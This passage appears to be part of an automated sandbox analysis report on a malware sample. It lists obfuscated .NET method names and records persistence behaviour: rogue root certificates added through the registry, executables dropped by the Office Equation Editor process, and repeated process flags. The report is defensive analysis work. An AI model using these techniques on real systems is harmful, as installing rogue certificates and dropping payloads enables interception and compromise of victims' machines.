Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, gFGLQUQObC5qQ0lCjG.cs High entropy of concatenated method names: 'OvBemqwNU8', 'EoYeF4xmdo', 'uVReYFtpsC', 'WYPe0l4Jkg', 'wlleNxZbHk', 'sKxeC2RQiQ', 'o19ecKCXAa', 'igSePDPaDn', 'tbee3Dsww0', 'C9OeyJDbrf'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, AeDNYYHlu3VDqHZLHr.cs High entropy of concatenated method names: 'WkiI3V4vJ', 'oBGuqejTZ', 'hhstBGGaT', 'Dd3wrQluM', 'QSsBVpXkL', 'f2r5x13Xl', 'RAYawt6wWaILic8Zur', 'RhQNS4WYJgUA7ognfS', 'IndAyxbvC', 'etSbJDeMJ'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, ibXryOsUOOV6l7fNKm.cs High entropy of concatenated method names: 'kaN4cqGN2t', 'vFd4PBWreL', 'RwE4yUHCUB', 'ImC42hW0kt', 'qCV4SmB4VN', 'fdK4gaKuCc', 'uOD5p9CVIqLqY6AjMY', 'BDEuXcaNisbudQFChG', 'M7m44tBOuL', 'vuf4eZbtxd'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, LclYXFogjBwfmAAPnV.cs High entropy of concatenated method names: 'F1USxpNMBk', 'Jq9SO9y0AI', 't4JSvRXhgg', 'oBkSWif2HT', 'iHHSGwohj9', 'XJISZXHsFA', 'v4iSfxuTiy', 'sV1Snog1Rw', 'qXFS6YAKTm', 'r6NSHUj712'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, e75oKkqSCgScEZvAKm.cs High entropy of concatenated method names: 'hxJJjLalPT', 'FByJB4yH7Y', 'vR3J9kkTvg', 'FNUJG2L1m7', 'yFZJfOhvoH', 'ENsJnMdcAZ', 'LwHJH4vFPv', 'u49Jd1AC2F', 'rtJJxf1Hrj', 'rBGJlRf0lj'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, dShs4ezPBMDHRwLLMU.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'WNV1JYp7NV', 'MME1SIuBh4', 'hSJ1gtTjBG', 'KHx1rTHnPQ', 'XyA1AiRD0B', 'Cp911Hd8tG', 'q4t1bD3wha'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, BJ2pW3uOeIoHjaHKoP.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'kkyKVVMycG', 'RJbKQwpAQK', 'rNgKzXogEW', 'kJkeXtGhCv', 'YaOe4P68UO', 'oSReKKikWd', 'yaAeeoi7g5', 'OjLDxh8QHv1PoSo30Wy'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, iiWnsRyLxDWh9ffbQG.cs High entropy of concatenated method names: 'z8hfKWksO4174XoE8sb', 'sduBimkqWJRA6XIEp9P', 'w4FCAfnJQA', 'IRtC1073jI', 'b1UCb3FBgn', 'qMsIDGkRpvcCXPleWeA', 'uwsGkJk4ZyLlZrk9HjD'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, c28qukSTEIWu0Cb4yJ2.cs High entropy of concatenated method names: 'BZG1UdQGTA', 'TAD1DmlK1J', 'ATX1IuMZnV', 'OlA1uhJUrh', 'tDu1MtCvk3', 'TQS1tlxBPu', 'aCZ1wFIENe', 'tko1jMeH3B', 'JQ61B70Ym6', 'CXp15ltPZx'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, q0jDvgXv2QdU043dgA.cs High entropy of concatenated method names: 'QoVNMoiNsu', 'X2RNwuYw3H', 'l1F0ZMiLSZ', 'Igr0fk0f4l', 'GCm0nPhHlW', 'cGe06Nixsk', 'KuY0HxlcEe', 'C5r0ddYDV6', 'HdD0hjBh8L', 'M600xx7UEw'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, jnJIj2iDj4MGKBhUPO.cs High entropy of concatenated method names: 'qbPcFlMHUe', 'iRdc0c2YWL', 'uIvcC9tL8A', 'JklCQmlGPa', 'CBMCzaZXev', 'IFBcXsTxUZ', 'WkWc41nwg3', 'bMbcK16Eno', 'vODce8b1FW', 'REocakpsGA'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, KQN7FiJmb5DebHwoE8.cs High entropy of concatenated method names: 'y2k14Z0MHC', 'eVU1e0EsIj', 'Yv51aqwlAe', 'oHW1F2Gha7', 'og31YqxXW2', 'Mux1NXbvKJ', 'Ueh1CWNSRb', 'kUeAqbIZmD', 'sWaA8BpmNc', 'q1QAV89B81'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, vKe1BMSa6I25SnIIQFD.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lbEbvODlhh', 'BMnbWH07VF', 'cy6boxn43E', 'yfjbs6xUAR', 'EX4b70NDwN', 'ah2biYLMi2', 'S9Bbqh3eqi'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, yOXVwBPrFV5waJhhZk.cs High entropy of concatenated method names: 'W6IcUrtJd4', 'jLIcDIqqlC', 'xAacIkvTaQ', 'Ps0cuqSHnK', 'RKLcMVI99n', 'btEcthLejQ', 'SoOcwtVC5i', 'FTxcjfKpYH', 'd26cBsOoUV', 'Yc3c5H98pY'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, BKdqCmVayTvkt8v6qJ.cs High entropy of concatenated method names: 'Dispose', 'UQA4VWHPJU', 'BBbKGAgDsR', 'YiLEEBN755', 'Os04QiF3T9', 'l2m4zFWCkE', 'ProcessDialogKey', 'qWZKXwL9at', 'RwIK4B573C', 'zByKKeMcep'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, kPZwByDBcRi0ZY7Ors.cs High entropy of concatenated method names: 'vAvCTD0w87', 'LjECUbwml7', 'aYSCIsmyQr', 'ua7Cuj4FVx', 'vQvCtZg9RE', 'gyeCwoUsip', 'BQtCBEjJCX', 'O81C5Q2bV8', 'NbOPTokMOJHeW5xHVJJ', 'oFiVxlkG8SwvnNbfwVS'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, BsieyFtZXxC0YkKZ1m.cs High entropy of concatenated method names: 'a33ryE1GHD', 'VXPr2iRiR8', 'ToString', 'mX4rF0a1LX', 'CSgrYCKn6m', 'QPcr0Y5ffo', 'NKUrNZvCB3', 'BtNrCLRn3g', 'mxqrc7R6Re', 'VQsrPnRr90'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, W6lmCG9Nq4m7ubavG2.cs High entropy of concatenated method names: 'fTyCmkEkhg', 'E8XCYrb04p', 'e2VCNeV3wT', 'kcYCc5Auhx', 'SGUCPgN2yL', 'T6ZN781iuH', 'hGPNi8gbsf', 'Rm7Nqg1QPA', 'fw5N8f1N4e', 'MtENVIUGma'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, e5cxfFeW2LybtdDGiN.cs High entropy of concatenated method names: 'Wnr0u29UJq', 'dPF0td7v8v', 'GlK0j1jW4j', 'sJt0BB2Nup', 'y4L0SROAgF', 'MiT0gb1v6V', 'aGG0r1KZxe', 'ELU0AXCVDd', 'MaI01Tmi4F', 'mC80beGQRO'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, FpO6EurS5foft958ol.cs High entropy of concatenated method names: 'EKyYvBmABP', 'KxtYWEjRWO', 'SlZYonVwpI', 'l9dYsNPKxr', 'lwJY7PujaT', 'Wk6YiBypLy', 'NM8YqrB9s4', 'pwVY81CPZc', 'yY8YVSPRtG', 'jetYQldbau'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, fmeKAfSSnKI2ClfROdS.cs High entropy of concatenated method names: 'ToString', 'dL9bea7GXl', 'vkuba5KcRD', 'TbvbmRmO9E', 's5vbFp6nqP', 'wtfbY5An4h', 'V2jb0jV5Nm', 'tUVbNdSJlo', 'DSL4jdK3uMRfNS7Rphg', 'w2vnQOKdfogYxUpyxUB'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, zOLJmBCA1Teg7PiV1L.cs High entropy of concatenated method names: 'NLnAFadnEg', 'SHCAYjqP9x', 'P8eA0M4mwA', 'ri8ANZyG1j', 'JUOACZTmeK', 'Ye6AcwdoTr', 'xTuAPXlbKb', 'pf5A3bfeVT', 'V0hAyemlds', 'q3oA2J1hj0'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, Xvr3YLNGwrNm4NZwvB.cs High entropy of concatenated method names: 'UDQr8IS14h', 'SqorQSDk3E', 'JkUAXRyiNC', 'MxZA4OUEVm', 'XOkrlmYGdn', 'El8rORYZiY', 'zZwrLA8oTX', 'xKPrvvbgjm', 'nFJrW3Aw2s', 'HCuropyBI2'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, gFGLQUQObC5qQ0lCjG.cs High entropy of concatenated method names: 'OvBemqwNU8', 'EoYeF4xmdo', 'uVReYFtpsC', 'WYPe0l4Jkg', 'wlleNxZbHk', 'sKxeC2RQiQ', 'o19ecKCXAa', 'igSePDPaDn', 'tbee3Dsww0', 'C9OeyJDbrf'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, AeDNYYHlu3VDqHZLHr.cs High entropy of concatenated method names: 'WkiI3V4vJ', 'oBGuqejTZ', 'hhstBGGaT', 'Dd3wrQluM', 'QSsBVpXkL', 'f2r5x13Xl', 'RAYawt6wWaILic8Zur', 'RhQNS4WYJgUA7ognfS', 'IndAyxbvC', 'etSbJDeMJ'
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, ibXryOsUOOV6l7fNKm.cs High entropy of concatenated method names: 'kaN4cqGN2t', 'vFd4PBWreL', 'RwE4yUHCUB', 'ImC42hW0kt', 'qCV4SmB4VN', 'fdK4gaKuCc', 'uOD5p9CVIqLqY6AjMY', 'BDEuXcaNisbudQFChG', 'M7m44tBOuL', 'vuf4eZbtxd'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\CLLPdgxhnmwGf5Y[1].exe Jump to dropped file
Stores large binary data to the registry
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
